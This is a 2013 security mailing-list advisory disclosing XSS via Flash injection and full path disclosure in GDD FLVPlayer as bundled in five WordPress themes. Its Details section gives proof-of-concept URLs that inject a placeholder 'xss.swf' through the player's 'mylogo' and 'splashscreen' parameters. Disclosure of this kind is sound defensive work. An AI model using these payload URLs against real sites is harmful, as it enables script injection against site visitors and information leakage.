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Vulnerabilities in multiple plugins for WordPress with GDD FLVPlayer


From: "MustLive" <mustlive () websecurity com ua>
Date: Wed, 28 Aug 2013 23:52:46 +0300

Hello list!

These are Content Spoofing and Cross-Site Scripting vulnerabilities in multiple web applications with GDD FLVPlayer. Earlier I wrote about vulnerabilities in GDD FLVPlayer (http://seclists.org/fulldisclosure/2013/Aug/247). This is video and audio player, which is used at thousands web sites and in multiple web applications.

Among them are the next themes for WordPress: I Love It (I wrote about it earlier http://seclists.org/fulldisclosure/2013/Jul/116), Megusta, Multipress, Lolzine, V1. Also this flash video and audio player is used as standalone web application in many custom themes and in different CMS (WordPress, Joomla) in non-themes folders.

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Affected products:
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Vulnerable are web applications which are using GDD FLVPlayer v3.635 and previous versions.

Vulnerable are all versions of the next web applications: I Love It, Megusta, Multipress, Lolzine, V1.

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Affected vendors:
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GDD FLVPlayer was developed by GeDeDe.

GeDeDe
http://www.gdd.ro

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Details:
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XSS (via Flash Injection) (WASC-08):

I Love It:

http://site/wp-content/themes/iloveit/flv/gddflvplayer.swf?mylogo=xss.swf

http://site/wp-content/themes/iloveit/flv/gddflvplayer.swf?splashscreen=xss.swf

Megusta:

http://site/wp-content/themes/megusta/flv/gddflvplayer.swf?mylogo=xss.swf

http://site/wp-content/themes/megusta/flv/gddflvplayer.swf?splashscreen=xss.swf

Multipress:

http://site/wp-content/themes/multipress/flv/gddflvplayer.swf?mylogo=xss.swf

http://site/wp-content/themes/multipress/flv/gddflvplayer.swf?splashscreen=xss.swf

Lolzine:

http://site/wp-content/themes/Lolzine/flv/gddflvplayer.swf?mylogo=xss.swf

http://site/wp-content/themes/Lolzine/flv/gddflvplayer.swf?splashscreen=xss.swf

V1:

http://site/wp-content/themes/v1/flv/gddflvplayer.swf?mylogo=xss.swf

http://site/wp-content/themes/v1/flv/gddflvplayer.swf?splashscreen=xss.swf

Full path disclosure (WASC-13):

All mentioned themes have FPD vulnerabilities in php-files (in index.php and others), which is typically for WP themes.

http://site/wp-content/themes/iloveit/

http://site/wp-content/themes/megusta/

http://site/wp-content/themes/multipress/

http://site/wp-content/themes/Lolzine/

http://site/wp-content/themes/v1/

In the last theme the path can be v1, v1.0, v1.3.5 and other variants. And at some web sites Jplayer (about multiple vulnerabilities in which I wrote earlier) is used instead of GDD FLVPlayer.

These are examples of XSS and FPD vulnerabilities, examples of 8 СS vulnerabilities see in above-mentioned advisory.

I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/6731/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

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